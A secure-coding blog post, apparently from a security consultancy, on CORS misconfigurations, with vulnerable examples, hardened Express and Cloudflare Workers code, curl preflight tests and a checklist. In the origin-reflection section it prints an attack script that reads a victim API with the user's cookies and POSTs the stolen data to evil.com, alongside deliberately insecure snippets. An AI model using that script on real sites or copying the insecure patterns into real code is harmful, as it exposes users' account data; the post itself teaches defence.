Cross-Origin Resource Sharing (CORS) is one of the most misunderstood security mechanisms in modern web development. Get it wrong, and you're opening your API to attacks. Get it right, and you're providing secure, flexible access to your resources.
What is CORS?
CORS is a browser security feature that controls how web pages from one origin can access resources from another origin. When your frontend at app.example.com tries to call your API at api.example.com, CORS policies determine whether that request succeeds or fails.
The CORS Security Spectrum
❌ Dangerous (Never Do This)
// Reflects any origin + allows credentials
Access-Control-Allow-Origin: * (dynamically set to request origin)
Access-Control-Allow-Credentials: true
Why it's critical: Any malicious site can make authenticated requests to your API, stealing user data or performing actions on their behalf.
Real-world impact: We've seen APIs that check authentication but have wildcard CORS. An attacker can:
- Host a malicious page
- User visits while logged into your service
- Malicious page makes authenticated API calls
- Steals data, modifies account, transfers funds
⚠️ Risky (Think Twice)
// Wildcard without credentials
Access-Control-Allow-Origin: *
Use case: Public read-only APIs where no sensitive data is returned.
Risks:
- Makes it easy to scrape your API
- Can't use cookies or Authorization headers
- No protection against automated abuse
✅ Secure (Best Practice)
// Explicit origin whitelist
const allowedOrigins = [
'https://app.example.com',
'https://admin.example.com'
];
if (allowedOrigins.includes(request.headers.origin)) {
response.headers['Access-Control-Allow-Origin'] = request.headers.origin;
response.headers['Access-Control-Allow-Credentials'] = 'true';
}
Why it's better:
- Only your approved frontends can access the API
- Supports authenticated requests securely
- Easy to audit and maintain
Common CORS Vulnerabilities
1. Origin Reflection Without Validation
Vulnerable code:
// DANGEROUS: Reflects any origin
response.headers['Access-Control-Allow-Origin'] = request.headers.origin;
response.headers['Access-Control-Allow-Credentials'] = 'true';
Attack scenario:
<!-- Attacker's page at evil.com -->
<script>
fetch('https://api.victim.com/user/data', {
credentials: 'include' // Sends victim's cookies
})
.then(r => r.json())
.then(data => {
// Send stolen data to attacker
fetch('https://evil.com/steal', {
method: 'POST',
body: JSON.stringify(data)
});
});
</script>
2. Null Origin Acceptance
Some frameworks accept null as a valid origin:
// DANGEROUS
if (origin === 'null') {
response.headers['Access-Control-Allow-Origin'] = 'null';
}
Attack: Sandboxed iframes and data: URLs send Origin: null. Accepting this creates a bypass.
3. Regex Validation Bugs
// DANGEROUS: Regex doesn't anchor properly
const allowedPattern = /https:\/\/.*\.example\.com/;
if (allowedPattern.test(request.headers.origin)) {
// Accepts: https://evil.com?fake=.example.com
// Accepts: https://example.com.evil.com
}
Fix:
// Proper validation
const allowedPattern = /^https:\/\/([a-z0-9-]+\.)?example\.com$/;
Secure CORS Implementation
Node.js + Express
const express = require('express');
const app = express();
const ALLOWED_ORIGINS = [
'https://app.example.com',
'https://admin.example.com'
];
app.use((req, res, next) => {
const origin = req.headers.origin;
if (ALLOWED_ORIGINS.includes(origin)) {
res.header('Access-Control-Allow-Origin', origin);
res.header('Access-Control-Allow-Credentials', 'true');
res.header('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE');
res.header('Access-Control-Allow-Headers', 'Content-Type, Authorization');
res.header('Access-Control-Max-Age', '86400'); // 24 hours
}
if (req.method === 'OPTIONS') {
return res.sendStatus(204);
}
next();
});
Cloudflare Workers
async function handleRequest(request) {
const origin = request.headers.get('Origin');
const allowedOrigins = [
'https://app.example.com',
'https://admin.example.com'
];
const headers = new Headers();
if (allowedOrigins.includes(origin)) {
headers.set('Access-Control-Allow-Origin', origin);
headers.set('Access-Control-Allow-Credentials', 'true');
}
if (request.method === 'OPTIONS') {
headers.set('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE');
headers.set('Access-Control-Allow-Headers', 'Content-Type, Authorization');
headers.set('Access-Control-Max-Age', '86400');
return new Response(null, { status: 204, headers });
}
const response = await fetch(request);
const newResponse = new Response(response.body, response);
if (allowedOrigins.includes(origin)) {
newResponse.headers.set('Access-Control-Allow-Origin', origin);
newResponse.headers.set('Access-Control-Allow-Credentials', 'true');
}
return newResponse;
}
CORS Testing & Verification
Manual Testing
# Test with a specific origin
curl -H "Origin: https://app.example.com" \
-H "Access-Control-Request-Method: POST" \
-H "Access-Control-Request-Headers: Content-Type" \
-X OPTIONS \
https://api.example.com/endpoint
# Test with malicious origin
curl -H "Origin: https://evil.com" \
-H "Access-Control-Request-Method: POST" \
-X OPTIONS \
https://api.example.com/endpoint
Expected behavior:
- ✅ Allowed origins return
Access-Control-Allow-Origin: <origin> - ❌ Disallowed origins return NO CORS headers (or error)
Best Practices Checklist
- ✅ Use explicit origin whitelist — Never dynamically reflect origins without validation
- ✅ Validate origins strictly — Use exact string matching, not regex
- ✅ Never accept
null— Reject requests withOrigin: null - ✅ Limit
Access-Control-Allow-Methods— Only allow HTTP methods your API supports - ✅ Set
Access-Control-Max-Age— Cache preflight responses (24 hours) - ✅ Use HTTPS only — Never allow HTTP origins in production
- ✅ Test thoroughly — Verify both allowed and disallowed origins
- ✅ Monitor for abuse — Log CORS violations and investigate patterns
OWASP API Security Implications
OWASP API3:2023 - Broken Object Property Level Authorization
Misconfigured CORS can bypass API authorization:
- API checks authentication but allows any origin
- Malicious site makes authenticated request
- User's browser includes their session cookie
- API returns data thinking it's the legitimate frontend
Defense in depth:
- Proper CORS configuration (this post)
- CSRF tokens for state-changing operations
- SameSite cookie attribute
- Additional request validation (Referer, custom headers)
Conclusion
CORS is your first line of defense against cross-origin attacks. The rules are simple:
- Default deny — Block all origins by default
- Explicit allow — Whitelist only your trusted origins
- Test everything — Verify both allowed and blocked cases
- Never reflect blindly — Always validate before setting
Access-Control-Allow-Origin
ThreeStack helps fintech and payment companies build secure APIs. Get a free security assessment or read more about our services.